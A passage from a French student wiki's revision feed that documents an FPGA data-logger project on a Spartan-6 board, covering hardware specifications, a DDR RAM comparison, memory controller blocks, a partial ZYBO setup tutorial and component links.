*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design [[Fichier:Tuto1.PNG|100px|thumb|right| g°)]]&amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS [[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. [[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)&amp;lt;br&amp;gt;&lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27245</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27245"/>
				<updated>2016-02-16T15:47:18Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* 2)Etude de la problématique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
